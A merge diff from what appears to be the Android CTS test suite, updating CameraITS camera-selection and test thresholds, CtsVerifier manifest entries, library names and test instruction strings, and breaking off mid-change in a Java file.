Merge "Change SSL server port to avoid BindException" into pie-cts-dev
diff --git a/CleanSpec.mk b/CleanSpec.mk
index a7121ad..e42e0d9 100644
--- a/CleanSpec.mk
+++ b/CleanSpec.mk
@@ -47,6 +47,9 @@
 $(call add-clean-step, rm -rf $(HOST_OUT_INTERMEDIATES)/EXECUTABLES/vm-tests-tf_intermediates)
 $(call add-clean-step, rm -rf $(OUT_DIR)/host/common/obj/JAVA_LIBRARIES/cts-tradefed_intermediates/com/android/compatibility/SuiteInfo.java)
 $(call add-clean-step, rm -rf $(HOST_OUT)/cts/android-cts/testcases/CtsUiHostTestCases*)
+$(call add-clean-step, rm -rf $(HOST_OUT)/cts_instant/android-cts_instant/testcases/CtsJobSchedulerTestCases*)
+$(call add-clean-step, rm -rf $(HOST_OUT)/cts_instant/android-cts_instant/testcases/CtsUiHostTestCases*)
+$(call add-clean-step, rm -rf $(HOST_OUT)/cts_instant/android-cts_instant/testcases/CtsDpiTestCases2*)
 
 # ************************************************
 # NEWER CLEAN STEPS MUST BE AT THE END OF THE LIST
diff --git a/apps/CameraITS/pymodules/its/cv2image.py b/apps/CameraITS/pymodules/its/cv2image.py
index 21804e9..2004846 100644
--- a/apps/CameraITS/pymodules/its/cv2image.py
+++ b/apps/CameraITS/pymodules/its/cv2image.py
@@ -51,7 +51,7 @@
     """
 
     def __init__(self, chart_file, height, distance, scale_start, scale_stop,
-                 scale_step):
+                 scale_step, camera_id=None):
         """Initial constructor for class.
 
         Args:
@@ -61,6 +61,7 @@
             scale_start:    float; start value for scaling for chart search
             scale_stop:     float; stop value for scaling for chart search
             scale_step:     float; step value for scaling for chart search
+            camera_id:      int; camera used for extractor
         """
         self._file = chart_file
         self._height = height
@@ -70,7 +71,7 @@
         self._scale_step = scale_step
         self.xnorm, self.ynorm, self.wnorm, self.hnorm, self.scale = its.image.chart_located_per_argv()
         if not self.xnorm:
-            with its.device.ItsSession() as cam:
+            with its.device.ItsSession(camera_id) as cam:
                 props = cam.get_camera_properties()
                 if its.caps.read_3a(props):
                     self.locate(cam, props)
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index 1c3c2c1..8b02230 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -216,6 +216,9 @@
                 break
         proc.kill()
 
+    def __init__(self, camera_id=None):
+        self._camera_id = camera_id
+
     def __enter__(self):
         # Initialize device id and adb command.
         self.device_id = get_device_id()
@@ -225,7 +228,7 @@
         self.__init_socket_port()
 
         self.__close_camera()
-        self.__open_camera()
+        self.__open_camera(self._camera_id)
         return self
 
     def __exit__(self, type, value, traceback):
@@ -258,12 +261,17 @@
             buf = numpy.frombuffer(buf, dtype=numpy.uint8)
         return jobj, buf
 
-    def __open_camera(self):
-        # Get the camera ID to open as an argument.
-        camera_id = 0
-        for s in sys.argv[1:]:
-            if s[:7] == "camera=" and len(s) > 7:
-                camera_id = int(s[7:])
+    def __open_camera(self, camera_id):
+        # Get the camera ID to open if it is an argument as a single camera.
+        # This allows passing camera=# to individual tests at command line
+        # and camera=#,#,# or an no camera argv with tools/run_all_tests.py.
+        if not camera_id:
+            camera_id = 0
+            for s in sys.argv[1:]:
+                if s[:7] == "camera=" and len(s) > 7:
+                    camera_ids = s[7:].split(",")
+                    if len(camera_ids) == 1:
+                        camera_id = camera_ids[0]
         cmd = {"cmdName":"open", "cameraId":camera_id}
         self.sock.send(json.dumps(cmd) + "\n")
         data,_ = self.__read_response_from_socket()
diff --git a/apps/CameraITS/tests/scene0/test_burst_capture.py b/apps/CameraITS/tests/scene0/test_burst_capture.py
index e6ee100..f915a6a 100644
--- a/apps/CameraITS/tests/scene0/test_burst_capture.py
+++ b/apps/CameraITS/tests/scene0/test_burst_capture.py
@@ -23,7 +23,7 @@
        of fullsize capture + CPU read for at least some time.
     """
     NAME = os.path.basename(__file__).split(".")[0]
-    NUM_TEST_FRAMES = 20
+    NUM_TEST_FRAMES = 15
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
diff --git a/apps/CameraITS/tests/scene0/test_gyro_bias.py b/apps/CameraITS/tests/scene0/test_gyro_bias.py
index 86445fe..44be95f 100644
--- a/apps/CameraITS/tests/scene0/test_gyro_bias.py
+++ b/apps/CameraITS/tests/scene0/test_gyro_bias.py
@@ -39,7 +39,8 @@
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
         # Only run test if the appropriate caps are claimed.
-        its.caps.skip_unless(its.caps.sensor_fusion(props))
+        its.caps.skip_unless(its.caps.sensor_fusion(props) and
+            cam.get_sensors().get("gyro"))
 
         print "Collecting gyro events"
         cam.start_sensor_events()
diff --git a/apps/CameraITS/tests/scene0/test_metadata.py b/apps/CameraITS/tests/scene0/test_metadata.py
index e78488e..48ce28e 100644
--- a/apps/CameraITS/tests/scene0/test_metadata.py
+++ b/apps/CameraITS/tests/scene0/test_metadata.py
@@ -90,8 +90,8 @@
         pixel_pitch_w = (sensor_size["width"] / fmts[0]["width"] * 1E3)
         print "Assert pixel_pitch WxH: %.2f um, %.2f um" % (pixel_pitch_w,
                                                             pixel_pitch_h)
-        assert 0.9 <= pixel_pitch_w <= 10
-        assert 0.9 <= pixel_pitch_h <= 10
+        assert 0.7 <= pixel_pitch_w <= 10
+        assert 0.7 <= pixel_pitch_h <= 10
         assert 0.333 <= pixel_pitch_w/pixel_pitch_h <= 3.0
 
         diag = math.sqrt(sensor_size["height"] ** 2 +
diff --git a/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py b/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
index dfd9ed8..b716141 100644
--- a/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
+++ b/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
@@ -19,7 +19,7 @@
 import its.target
 
 NUM_STEPS = 3
-ERROR_TOLERANCE = 0.97  # Allow ISO to be rounded down by 3%
+ERROR_TOLERANCE = 0.96  # Allow ISO to be rounded down by 4%
 
 
 def main():
diff --git a/apps/CameraITS/tests/scene1/test_multi_camera_match.py b/apps/CameraITS/tests/scene1/test_multi_camera_match.py
index 0eee74a..b5bd63c 100644
--- a/apps/CameraITS/tests/scene1/test_multi_camera_match.py
+++ b/apps/CameraITS/tests/scene1/test_multi_camera_match.py
@@ -71,6 +71,8 @@
         msg = ''
         fmt = [{'format': 'yuv', 'width': w, 'height': h}]
         caps = cam.do_capture(reqs, fmt)
+        if not isinstance(caps, list):
+            caps = [caps]  # handle canonical case where caps is not list
 
         for i, fl in enumerate(avail_fls):
             img = its.image.convert_capture_to_rgb_image(caps[i], props=props)
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index bc00d5f..265fc33 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -430,7 +430,8 @@
         props = cam.get_camera_properties()
         its.caps.skip_unless(its.caps.sensor_fusion(props) and
                              its.caps.manual_sensor(props) and
-                             props["android.lens.facing"] != FACING_EXTERNAL)
+                             props["android.lens.facing"] != FACING_EXTERNAL and
+                             cam.get_sensors().get("gyro"))
 
         print "Starting sensor event collection"
         cam.start_sensor_events()
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index a6e0402..ad0760b1 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -73,15 +73,21 @@
 }
 
 
-def calc_camera_fov():
+def calc_camera_fov(camera_id):
     """Determine the camera field of view from internal params."""
-    with ItsSession() as cam:
+    with ItsSession(camera_id) as cam:
         props = cam.get_camera_properties()
+        focal_ls = props['android.lens.info.availableFocalLengths']
+        if len(focal_ls) > 1:
+            print 'Doing capture to determine logical camera focal length'
+            cap = cam.do_capture(its.objects.auto_capture_request())
+            focal_l = cap['metadata']['android.lens.focalLength']
+        else:
+            focal_l = focal_ls[0]
+    sensor_size = props['android.sensor.info.physicalSize']
+    diag = math.sqrt(sensor_size['height'] ** 2 +
+                     sensor_size['width'] ** 2)
     try:
-        focal_l = props['android.lens.info.availableFocalLengths'][0]
-        sensor_size = props['android.sensor.info.physicalSize']
-        diag = math.sqrt(sensor_size['height'] ** 2 +
-                         sensor_size['width'] ** 2)
         fov = str(round(2 * math.degrees(math.atan(diag / (2 * focal_l))), 2))
     except ValueError:
         fov = str(0)
@@ -101,11 +107,11 @@
     return socket_fail
 
 
-def skip_sensor_fusion():
+def skip_sensor_fusion(camera_id):
     """Determine if sensor fusion test is skipped for this camera."""
 
     skip_code = SKIP_RET_CODE
-    with ItsSession() as cam:
+    with ItsSession(camera_id) as cam:
         props = cam.get_camera_properties()
         if (its.caps.sensor_fusion(props) and its.caps.manual_sensor(props) and
                 props['android.lens.facing'] is not FACING_EXTERNAL):
@@ -174,7 +180,6 @@
     tmp_dir = None
     skip_scene_validation = False
     chart_distance = CHART_DISTANCE
-    chart_height = CHART_HEIGHT
 
     for s in sys.argv[1:]:
         if s[:7] == "camera=" and len(s) > 7:
@@ -277,7 +282,7 @@
             assert wake_code == 0
 
     for camera_id in camera_ids:
-        camera_fov = calc_camera_fov()
+        camera_fov = calc_camera_fov(camera_id)
         # Loop capturing images until user confirm test scene is correct
         camera_id_arg = "camera=" + camera_id
         print "Preparing to run ITS on camera", camera_id
@@ -303,7 +308,7 @@
                 out_path = os.path.join(topdir, camera_id, scene+".jpg")
                 out_arg = "out=" + out_path
                 if scene == 'sensor_fusion':
-                    skip_code = skip_sensor_fusion()
+                    skip_code = skip_sensor_fusion(camera_id)
                     if rot_rig_id or skip_code == SKIP_RET_CODE:
                         validate_switch = False
                 if skip_scene_validation:
@@ -335,13 +340,15 @@
             print "Start running ITS on camera %s, %s" % (camera_id, scene)
             # Extract chart from scene for scene3 once up front
             chart_loc_arg = ''
+            chart_height = CHART_HEIGHT
             if scene == 'scene3':
                 if float(camera_fov) < 90 and np.isclose(chart_distance, 22,
                                                          rtol=0.1):
                     chart_height *= 0.67
                 chart = its.cv2image.Chart(SCENE3_FILE, chart_height,
                                            chart_distance, CHART_SCALE_START,
-                                           CHART_SCALE_STOP, CHART_SCALE_STEP)
+                                           CHART_SCALE_STOP, CHART_SCALE_STEP,
+                                           camera_id)
                 chart_loc_arg = 'chart_loc=%.2f,%.2f,%.2f,%.2f,%.3f' % (
                         chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm,
                         chart.scale)
diff --git a/apps/CameraITS/tools/run_parallel_tests.py b/apps/CameraITS/tools/run_parallel_tests.py
index 902eaba..cdba01e 100644
--- a/apps/CameraITS/tools/run_parallel_tests.py
+++ b/apps/CameraITS/tools/run_parallel_tests.py
@@ -63,7 +63,7 @@
     if scenes is None:
         scenes = auto_scenes
 
-    print ">>> Start the at %s" % time.strftime('%Y/%m/%d %H:%M:%S')
+    print ">>> Start the test at %s" % time.strftime('%Y/%m/%d %H:%M:%S')
     for scene in scenes:
         cmds = []
         cmds.append(build_cmd(device0_id, chart_host_id, device1_id, 0, scene))
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 245fc54..3208ee5 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -34,7 +34,7 @@
                                compatibility-common-util-devicesidelib \
                                cts-sensors-tests \
                                cts-location-tests \
-                               ctstestrunner \
+                               ctstestrunner-axt \
                                apache-commons-math \
                                androidplot \
                                ctsverifier-opencv \
@@ -42,7 +42,7 @@
                                androidx.legacy_legacy-support-v4  \
                                mockito-target-minus-junit4 \
                                mockwebserver \
-                               compatibility-device-util \
+                               compatibility-device-util-axt \
                                platform-test-annotations \
                                cts-security-test-support-library
 
@@ -89,7 +89,7 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 \
                                compatibility-common-util-devicesidelib \
-                               compatibility-device-util \
+                               compatibility-device-util-axt \
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
 
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 7bdacc1..9f035ff 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
       package="com.android.cts.verifier"
       android:versionCode="5"
-      android:versionName="9.0_r3">
+      android:versionName="9.0_r8">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="28"/>
 
@@ -215,7 +215,7 @@
             <meta-data android:name="test_required_features"
                     android:value="android.software.device_admin" />
             <meta-data android:name="test_excluded_features"
-                    android:value="android.hardware.type.watch" />
+                    android:value="android.hardware.type.watch:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".admin.ScreenLockTestActivity"
@@ -2006,7 +2006,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
             <meta-data android:name="test_excluded_features"
-                android:value="android.hardware.type.watch:android.software.leanback" />
+                android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".vr.VrListenerVerifierActivity"
@@ -2261,6 +2261,11 @@
                     android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
         </activity>
 
+        <service
+                android:name="com.android.cts.verifier.sensors.DeviceSuspendTestActivity$DeviceSuspendTestService"
+                android:label="@string/snsr_device_suspend_service"
+                android:icon="@drawable/icon" />
+
         <receiver android:name="com.android.cts.verifier.sensors.DeviceSuspendTestActivity$AlarmReceiver">
         </receiver>
 
@@ -3099,8 +3104,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.watch:android.hardware.type.television" />
         </activity>
@@ -3112,8 +3116,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencySpeakerActivity"
@@ -3123,8 +3126,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output:android.hardware.usb.host" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencyMicActivity"
@@ -3134,9 +3136,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output:android.hardware.usb.host" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencyUnprocessedActivity"
diff --git a/apps/CtsVerifier/proguard.flags b/apps/CtsVerifier/proguard.flags
index e4249c4..1bf1a0b 100644
--- a/apps/CtsVerifier/proguard.flags
+++ b/apps/CtsVerifier/proguard.flags
@@ -38,6 +38,6 @@
 -dontwarn com.android.org.bouncycastle.**
 -dontwarn com.android.okhttp.**
 -dontwarn org.opencv.**
--dontwarn android.support.test.internal.runner.hidden.ExposedInstrumentationApi
+-dontwarn androidx.test.internal.runner.hidden.ExposedInstrumentationApi
 
 -dontwarn java.lang.management.**
diff --git a/apps/CtsVerifier/res/layout-small-dpad/widget_layout.xml b/apps/CtsVerifier/res/layout-small-dpad/widget_layout.xml
new file mode 100644
index 0000000..518be88
--- /dev/null
+++ b/apps/CtsVerifier/res/layout-small-dpad/widget_layout.xml
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:layout_marginTop="@dimen/widget_margin_top"
+    android:layout_marginBottom="@dimen/widget_margin_bottom"
+    android:layout_marginLeft="@dimen/widget_margin_left"
+    android:layout_marginRight="@dimen/widget_margin_right"
+    android:padding="1dp"
+    android:background="#fff">
+
+    <LinearLayout
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:paddingLeft="4dp"
+        android:paddingTop="4dp"
+        android:paddingBottom="4dp"
+        android:paddingRight="4dp"
+        android:layout_gravity="center"
+        android:background="#fff">
+
+        <TextView
+            android:id="@+id/title"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:gravity="top|left"
+            android:layout_marginBottom="8dp"
+            android:fontFamily="sans-serif"
+            android:textSize="16sp"
+            android:text="@string/widget_name"
+            android:freezesText="true"/>
+
+        <TextView
+            android:id="@+id/instruction"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_marginBottom="12dp"
+            android:fontFamily="sans-serif-light"
+            android:textSize="14sp"
+            android:freezesText="true"/>
+
+        <TextView
+            android:id="@+id/data"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_marginBottom="12dp"
+            android:layout_gravity="center_horizontal"
+            android:fontFamily="sans-serif-light"
+            android:textSize="14sp"/>
+
+        <ListView
+            android:id="@+id/list"
+            android:layout_width="match_parent"
+            android:layout_height="0dp"
+            android:layout_weight="1"
+            android:layout_marginBottom="12dp"
+            android:padding="1dp"
+            android:background="#fff"
+            android:visibility="gone"/>
+
+        <LinearLayout
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_gravity="bottom|center_horizontal"
+            android:orientation="horizontal">
+            <Button
+                android:id="@+id/fail"
+                android:layout_marginRight="8dp"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:minWidth="100dp"
+                android:text="@string/widget_fail" />
+            <Button
+                android:id="@+id/pass"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:minWidth="100dp"
+                android:text="@string/widget_pass" />
+        </LinearLayout>
+
+    </LinearLayout>
+</FrameLayout>
diff --git a/apps/CtsVerifier/res/layout/camera_fov_calibration_photo_capture.xml b/apps/CtsVerifier/res/layout/camera_fov_calibration_photo_capture.xml
index 7f8efa0..c142b15 100644
--- a/apps/CtsVerifier/res/layout/camera_fov_calibration_photo_capture.xml
+++ b/apps/CtsVerifier/res/layout/camera_fov_calibration_photo_capture.xml
@@ -49,7 +49,6 @@
             android:layout_alignParentBottom="true"
             android:layout_alignParentLeft="true"
             android:padding="10sp"
-            android:popupBackground="#ffffff"
             android:textSize="18sp" />
     </RelativeLayout>
 
diff --git a/apps/CtsVerifier/res/layout/voicemail_broadcast.xml b/apps/CtsVerifier/res/layout/voicemail_broadcast.xml
index 163da23..0cf1d39 100644
--- a/apps/CtsVerifier/res/layout/voicemail_broadcast.xml
+++ b/apps/CtsVerifier/res/layout/voicemail_broadcast.xml
@@ -58,6 +58,12 @@
       android:layout_height="wrap_content"
       android:text="@string/voicemail_set_default_dialer_button"/>
 
+    <Button
+      android:id="@+id/call_settings_check_not_applicable"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:text="@string/visual_voicemail_service_remove_sim_not_applicable"/>
+
     <LinearLayout
       android:layout_width="wrap_content"
       android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 05fc19e..b605cb4 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1016,6 +1016,9 @@
     firstEventReceivedMs=%2$d diffMs=%3$d toleranceMs=%4$d </string>
     <string name="snsr_device_suspend_test_instr">One you begin the test, disconnect USB, turn off the display and allow
     the device to go into suspend mode. The screen will turn on and a sound will be played once all the tests are completed.</string>
+    <string name="snsr_device_suspend_service">Device Suspend Service</string>
+    <string name="snsr_device_suspend_service_active">Device Suspend Test Active</string>
+    <string name="snsr_device_suspend_service_notification">Device Suspend Test is using sensors.</string>
 
     <!-- Significant Motion -->
     <string name="snsr_significant_motion_test">Significant Motion Tests</string>
@@ -1860,6 +1863,7 @@
         2. Click on the play button.\n
         3. Verify that the captured audio is played.\n
         4. Click on the close button.\n
+        If this device does not support audio recording, please skip this test and mark it passing.\n
     </string>
     <string name="provisioning_byod_dismiss_result_dialog">Close</string>
     <string name="provisioning_byod_play">Play</string>
@@ -2493,6 +2497,7 @@
         \n
         Navigate to \"Data usage\" page and then into the \"Wi-Fi data usage\" category.\n
         Confirm that \"All work apps\" section is present and that it is possible to see the data usage for work (badged) apps.\n
+        (If the section is not present, this might be because work apps have not used Wi-Fi data yet. Ensure that you have used Wi-Fi data on a work app, then repeat these instructions.)\n
         \n
         Then use the Back button (or navigate back to this app using Recents) to return to this test and mark accordingly.
     </string>
@@ -2690,7 +2695,7 @@
     <string name="negative_device_owner">No Device Owner Tests</string>
     <string name="device_owner_negative_category">No Device Owner Tests</string>
     <string name="device_owner_provisioning_negative">Device owner provisioning</string>
-    <string name="device_owner_provisioning_negative_info">The device owner provisioning test verifies that setting up a corporate owned device can only be done on a factory reset device.\n\nPlease click the "Start provisioning" button, and when you see a warning dialog telling the device can\'t be set up, select "pass". Otherwise, select "fail".</string>
+    <string name="device_owner_provisioning_negative_info">The device owner provisioning test verifies that setting up a corporate owned device can only be done on a factory reset device.\n\nPlease click the "Start provisioning" button, and when you see a warning dialog telling the device is already set up, select "pass". Otherwise, select "fail".</string>
     <string name="start_device_owner_provisioning_button">Start provisioning</string>
     <string name="enterprise_privacy_quick_settings_negative">Quick settings disclosure</string>
     <string name="enterprise_privacy_quick_settings_negative_info">
@@ -2975,8 +2980,8 @@
     <string name="device_owner_disallow_usb_file_transfer_test_info">
             Please press below button to set the \"disallow USB file transfer\" restriction.\n
             If a USB notification appears, open the notification and check that the
-            \"Transfer files (MTP)\" and \"Transfer photos (PTP)\" cannot be selected and trigger a
-            support message when trying to select them.\n
+            \"Transfer files (MTP)\" and \"Transfer photos (PTP)\" options either are not displayed,
+            or they trigger a support message when trying to select them.\n
             Check if you can mount the device as a USB drive on your desktop computer. The test is
             successful if you cannot mount the device, and files from your phone cannot be
             downloaded through USB.\n
@@ -3237,8 +3242,6 @@
     <string name="user_restriction_set_step">
         Set \'%s\' user restriction by turning on the switch below.
     </string>
-    <string name="disallow_add_user">Disallow add user</string>
-    <string name="disallow_add_user_action">Adding a new user</string>
     <string name="disallow_adjust_volume">Disallow adjust volume</string>
     <string name="disallow_adjust_volume_action">Adjusting the volume</string>
     <string name="disallow_config_date_time">Disallow config date and time settings</string>
@@ -3260,7 +3263,10 @@
     <string name="disallow_config_mobile_networks">Disallow config mobile networks</string>
     <string name="disallow_config_mobile_networks_action">Configuring mobile networks</string>
     <string name="disallow_config_tethering">Disallow config tethering</string>
-    <string name="disallow_config_tethering_action">Configuring tethering and portable hotspots</string>
+    <string name="disallow_config_tethering_action">
+        Configuring tethering and portable hotspots.\n
+        NOTE: If the device does not support tethering please skip this test and mark it as passing.\n
+    </string>
     <string name="disallow_config_wifi">Disallow config Wi-Fi</string>
     <string name="disallow_config_wifi_action">Modifying Wi-Fi configuration</string>
     <string name="disallow_debugging_features">Disallow debugging features</string>
@@ -3278,13 +3284,37 @@
     <string name="disallow_outgoing_beam">Disallow outgoing beam</string>
     <string name="disallow_outgoing_beam_action">Switching on android beam</string>
     <string name="disallow_remove_user">Disallow remove user</string>
-    <string name="disallow_remove_user_action">Removing other users (please create a user and attempt to remove it to verify). This test should also be considered as passed if \'remove user\' option cannot be found in Settings</string>
+    <string name="device_owner_disallow_remove_user_info">
+        Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
+        \'Set restriction\' button to set the user restriction. Then press \'Go\' to open \'Settings\',
+        and manually find and open \'Multiple users\' setting. \n\n
+
+        Mark this test as passed if:\n\n
+        - The uninitialized user cannot be removed.\n
+        - \'Remove user\' option is disabled with an info icon on it. Clicking on it triggers a support dialog.\n\n
+
+        Use the Back button to return to this page.
+    </string>
+    <string name="managed_user_disallow_remove_user_info">
+        Please press the \'Set restriction\' button to set the user restriction.
+        Then press \'Go\' to open \'Settings\', and manually find and open \'Multiple users\' setting. \n\n
+
+        Mark this test as passed if one of the following conditions is met:\n\n
+        - \'Remove user\' option is disabled with an info icon on it. Clicking on it triggers a support dialog.\n
+        - \'Remove user\' option cannot be found.\n \n
+
+        Use the Back button to return to this page.
+    </string>
+    <string name="device_owner_disallow_remove_user_create_user">Create uninitialized user</string>
     <string name="disallow_remove_managed_profile">Disallow remove managed profile</string>
     <string name="disallow_remove_managed_profile_action">Removing the work profile. It shouldn\'t be possible neither from the Accounts screen nor the Device Administrators screen (after selecting the Device Administrator that corresponds to the badged version of \"CTS Verifier\")</string>
     <string name="disallow_share_location">Disallow share location</string>
     <string name="disallow_share_location_action">Turning on location sharing</string>
     <string name="disallow_uninstall_apps">Disallow uninstall apps</string>
-    <string name="disallow_uninstall_apps_action">Uninstalling applications from the work profile (badged applications) other than CtsVerifier</string>
+    <string name="disallow_uninstall_apps_action">
+        a. If testing in work profile: uninstall applications from the work profile (badged applications) other than CtsVerifier and system apps. \n
+        b. Otherwise: uninstall applications other than CtsVerifier and system apps
+    </string>
     <string name="disallow_unified_challenge">Disallow unified challenge</string>
     <string name="disallow_unified_challenge_action">Setting one lock for both personal and work profiles. IMPORTANT: Separate work lock should be set prior to this test in Set work lock test</string>
     <string name="disallow_keyguard_unredacted_notifications">Disallow lockscreen unredacted notification</string>
@@ -4016,6 +4046,10 @@
     <string name="uapButtonsBtnDLbl">Button D - voice assist</string>
     <string name="uapButtonsRecognized">Recognized</string>
     <string name="uapButtonsNotRecognized">Not Recognized</string>
+    <string name="uapButtonsDisableAssistantTitle">Disable Google Assistant</string>
+    <string name="uapButtonsDisableAssistant">For this test to succeed it may be necessary
+        to disable the Google Assistant (Settings / Google / Search / Google Assistant Settings /
+        Devices / &lt;device name&gt; / Google Assistant)</string>
 
     <!-- Audio general text -->
     <string name="audio_general_headset_port_exists">Does this device have a headset port?</string>
@@ -4389,14 +4423,14 @@
     <!-- USB Audio Peripheral Play Test -->
     <string name="usbaudio_play_test"> USB Audio Peripheral Play Test</string>
     <string name="usbaudio_play_info">
-        This test requires that you have connected a mandated USB Audio Interface peripheral and
+        This test requires that you have connected a USB Audio Interface peripheral and
         some way to monitor the output. Press the \"Play\" button and verify that a tone is produced.
        </string>
 
     <!-- USB Audio Peripheral Record Test -->
     <string name="usbaudio_record_test"> USB Audio Peripheral Record Test</string>
     <string name="usbaudio_record_info">
-        This test requires that you have connected a mandated USB Audio Interface peripheral.
+        This test requires that you have connected a USB Audio Interface peripheral.
         Connect the outputs to the inputs (with patch cables). Start playback by pressing the
         \"Record Loopback\" button and verify that the recorded signal is displayed in the wave
         display view. (It may be necessary to adjust the input controls on the peripheral).
@@ -4405,9 +4439,11 @@
     <!-- USB Audio Peripheral Buttons Test -->
     <string name="usbaudio_buttons_test"> USB Audio Peripheral Buttons Test</string>
     <string name="usbaudio_buttons_info">
-        This test requires that you have connected a mandated USB Audio headset. Press each
-        \"transport\" button and verify that it is recognized by the test.
-       </string>
+        This test requires that you have connected a USB Audio headset that supports the
+        Android USB audio headset buttons specification. Press each
+        \"transport\" button and verify that it is recognized by the test. When each of the
+        buttons has been recognized the \"pass\" button will be enabled.
+    </string>
 
     <!-- Telecom tests -->
     <string name="telecom_enable_phone_account_test"> Telecom Enable Phone Account Test</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
index c8bffdf..0e82423 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
@@ -67,11 +67,12 @@
                     R.string.device_admin_keyguard_disable_camera_instruction,
                     new Intent(ByodHelperActivity.ACTION_LOCKNOW)));
         }
-
-        adapter.add(new DialogTestListItem(this, R.string.device_admin_disable_notifications,
-                "DeviceAdmin_DisableNotifications",
-                R.string.device_admin_disable_notifications_instruction,
-                new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN)));
+        if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
